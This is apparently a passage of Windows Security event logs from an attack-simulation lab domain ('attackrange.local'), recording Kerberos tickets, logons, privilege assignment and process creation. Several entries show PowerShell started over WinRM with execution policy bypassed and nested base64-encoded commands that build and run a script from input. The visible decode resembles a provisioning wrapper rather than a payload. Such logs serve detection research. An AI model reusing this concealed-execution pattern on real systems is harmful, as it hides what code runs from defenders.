wBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253176
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x196FFD

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253175
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x196FFD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{32D81B45-7BDD-468A-BC62-F57A417398B1}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253174
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{32D81B45-7BDD-468A-BC62-F57A417398B1}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253173
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{32D81B45-7BDD-468A-BC62-F57A417398B1}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253172
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253171
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x196FE1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253246
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x968
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1368
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253245
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19A372

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253244
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19A372
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253243
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253242
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253241
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253240
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1368
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x558
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253239
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x558
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11d0
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEA